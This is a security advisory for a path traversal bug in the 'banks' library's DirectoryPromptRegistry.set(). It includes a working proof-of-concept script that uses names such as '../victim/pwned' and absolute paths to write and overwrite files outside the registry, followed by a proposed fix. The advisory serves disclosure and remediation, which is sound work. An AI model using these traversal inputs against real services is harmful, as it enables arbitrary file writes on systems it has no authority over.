OSV 1.4.0 · github-reviewed · 修改于 2026-09-02 22:38
发布时间
2026-09-02 22:38
GitHub 审查时间
2026-09-02 22:38
NVD 发布时间
2026-08-21 01:19
源文件
advisories/github-reviewed/2026/09/GHSA-x8wg-4xgc-vr54/GHSA-x8wg-4xgc-vr54.json
DirectoryPromptRegistry.set() interpolates the attacker-controllable Prompt.name into a Path expression with no canonicalization. An application that derives the prompt name from request data lets a caller write attacker-controlled bytes outside the configured registry directory.
src/banks/registries/directory.py:44
prompt_file = path / f"{prompt.name}.{prompt.version}.jinja"
prompt_file.write_text(prompt.raw)
Two failure modes:
name="../victim/foo" resolves to <registry>/../victim/foo.0.jinja — outside the configured root.pathlib documents that Path("/a") / Path("/b") returns Path("/b"). So name="/abs/path" discards the registry root entirely; the registry is never consulted.The poisoned name is then persisted to index.json, so the out-of-root path keeps reconstructing on later _load() calls (directory.py:135-141). With overwrite=True, existing files at the target path are replaced.
import tempfile
from pathlib import Path
from banks import Prompt
from banks.registries import DirectoryPromptRegistry
work = Path(tempfile.mkdtemp())
registry = work / "registry"; registry.mkdir()
victim = work / "victim"; victim.mkdir()
reg = DirectoryPromptRegistry(str(registry))
# (1) Relative traversal
reg.set(prompt=Prompt("pwn", name="../victim/pwned", version="0"))
print((victim / "pwned.0.jinja").read_text()) # 'pwn'
# (2) Absolute-path bypass — registry root is silently discarded
target = victim / "absolute_pwn"
reg.set(prompt=Prompt("abs pwn", name=str(target), version="0"))
print((victim / "absolute_pwn.0.jinja").read_text()) # 'abs pwn'
# (3) Clobber an existing file
existing = victim / "clobber_me"
existing.write_text("ORIGINAL\n")
reg.set(prompt=Prompt("CLOBBERED", name=str(existing), version="0"),
overwrite=True)
print((victim / "clobber_me.0.jinja").read_text()) # 'CLOBBERED'
<img width="793" height="149" alt="Screenshot 2026-05-10 at 3 19 49 PM" src="https://github.com/user-attachments/assets/5c8a79ba-eaf8-4425-8612-4414bc34a0d6" />
<img width="893" height="221" alt="Screenshot 2026-05-10 at 3 20 02 PM" src="https://github.com/user-attachments/assets/8aceca27-5df1-4b59-9a77-502698da6e65" />
<img width="1036" height="272" alt="Screenshot 2026-05-10 at 3 20 18 PM" src="https://github.com/user-attachments/assets/aaceec31-f9a8-432f-b013-29694dd22478" />
Output (verified on banks==2.4.2):
pwn
abs pwn
CLOBBERED
Negative control: with a benign name="okay-name", the file lands inside <registry>/ and the victim directory remains untouched.
Arbitrary file write at an attacker-chosen path with attacker-controlled bytes, scoped to whatever the application process can write to. The .0.jinja suffix limits some chains, but does not prevent overwriting templates consumed by the same or another application, planting files that other tooling ingests, or clobbering predictable-path config artifacts.
Realistic threat model: any "prompt management" service that exposes prompt creation through an authenticated API and forwards user-supplied name (and version) to Prompt(...) plus DirectoryPromptRegistry.set().
Reject obviously dangerous names early and verify the resulting path stays under the registry root after canonicalization:
# src/banks/registries/directory.py
import re
_NAME_RE = re.compile(r"[A-Za-z0-9._-]+")
@classmethod
def from_prompt_path(cls, prompt, path):
if not _NAME_RE.fullmatch(prompt.name or ""):
raise InvalidPromptError(f"Invalid prompt name: {prompt.name!r}")
if not _NAME_RE.fullmatch(prompt.version or ""):
raise InvalidPromptError(f"Invalid prompt version: {prompt.version!r}")
candidate = (path / f"{prompt.name}.{prompt.version}.jinja").resolve()
if candidate.parent != path.resolve():
raise InvalidPromptError(
f"Prompt path escapes registry root: {candidate}"
)
candidate.write_text(prompt.raw)
return cls(
text=prompt.raw, name=prompt.name, version=prompt.version,
metadata=prompt.metadata, path=candidate,
)
The same enforcement should run inside _load() and _get_prompt_file() so a poisoned index.json from a vulnerable run cannot keep escaping after upgrade.